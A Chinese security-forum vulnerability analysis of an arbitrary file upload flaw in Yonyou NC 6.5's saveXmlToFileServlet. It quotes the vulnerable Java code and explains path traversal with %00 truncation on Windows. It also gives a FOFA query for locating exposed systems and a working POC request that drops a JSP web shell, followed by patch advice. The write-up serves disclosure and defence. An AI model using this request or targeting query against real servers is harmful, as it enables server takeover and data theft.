奇安信攻防社区-用友NC saveXmlToFileServlet任意文件上传漏洞分析

用友NC saveXmlToFileServlet任意文件上传漏洞分析

用友NC系统saveXmlToFileServlet方法存在任意文件上传漏洞，攻击者可获取服务器权限，造成敏感信息泄露

一、漏洞简介
------

用友NC系统`saveXmlToFileServlet`方法存在任意文件上传漏洞，攻击者可获取服务器权限，造成敏感信息泄露。

二、影响版本
------

用友NC6.5

三、漏洞原理分析
--------

漏洞位于`saveXmlToFileServlet`接口处，文件路径为`nc.uap.wfm.action.saveXmlToFileServlet`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-1d6eb6fe0e0795f6684458b1e3e69e86f3d00373.png)

默认调用的doPost方法代码如下

```php
  public void doPost() throws ServletException, IOException {  
    ServletInputStream input = this.request.getInputStream();  
    InputStreamReader isr = new InputStreamReader((InputStream)input);  
    BufferedReader br = new BufferedReader(isr);  
    try {  
      this.response.setContentType("text/html;charset=UTF-8");  
      this.request.setCharacterEncoding("utf-8");  
      this.response.setCharacterEncoding("UTF-8");  
      String filename = this.request.getParameter("filename");  
      if (filename == null || "".equals(filename))  
        filename = UUID.randomUUID().toString();   
      String savePath = this.request.getRealPath("") + "/processxml/" + filename + ".xml";  
      File file = new File(savePath);  
      String line = br.readLine();  
      StringBuffer sb = new StringBuffer();  
      sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n");  
      while (line != null) {  
        String str = URLDecoder.decode(line, "utf-8");  
        sb.append(str).append("\r\n");  
        line = br.readLine();  
      }   
      FileUtils.writeStringToFile(file, sb.toString(), "UTF-8");  
    } finally {  
      if (br != null)  
        br.close();   
    }   
  }
```

方法中获取上传输入流，读取参数filename作为文件名，使用`"/processxml/" + filename + ".xml"`进行拼接文件名，最后再对拼接完成的路径文件进行创建并保存文件内容

此次由于直接使用+号进行拼接，存在目录穿越漏洞，此外如果用友NC部署在`Windows`操作系统上，就能使用`%00`截断后面的`.xml`文件后缀，上传任意的文件。综上该漏洞只能在`Windows`环境下进行复现

再加上`/portal/pt`前缀，用友NC门户模块的默认路径，完整请求路径如下

```php
/portal/pt/servlet/saveXmlToFileServlet/doPost
```

Windows系统测试上传正常

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-3fba89022a81ecfc8f2933ad837bbaaeedfb2da5.png)

Linux系统上传在目录截断时`%00`就会报错

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-e80cf1f5bb8d60fa69a6a7b9d6428b3db7e47db4.png)

四、总结
----

用友NC系统`saveXmlToFileServlet`方法存在任意文件上传漏洞，造成系统权限接管，敏感信息泄露。

五、资产测绘
------

FOFA语法

```php
app="用友-UFIDA-NC"
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-25ad054ba770302b0ff4a7c6d1202cd0ba99d078.png)

六、漏洞复现
------

POC

```php
POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=../../../webapps/nc_web/11.jsp%00 HTTP/1.1
Host: 
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19

URL编码的文件内容
```

上传shell文件成功，测试连接成功

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-cdfdd5de1187565cb6f6b1acddf1b5683ff8f50d.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-7853c82cf254601b257b7a15705451117fe679e7.png)

七、修复建议
------

安装用友NC最新的补丁并更新到最新版本，对接口添加身份信息验证并限制文件目录和后缀。

发表于 2025-06-16 10:09:42
阅读 ( 218 )
分类：OA产品

用友NC saveXmlToFileServlet任意文件上传漏洞分析

0 条评论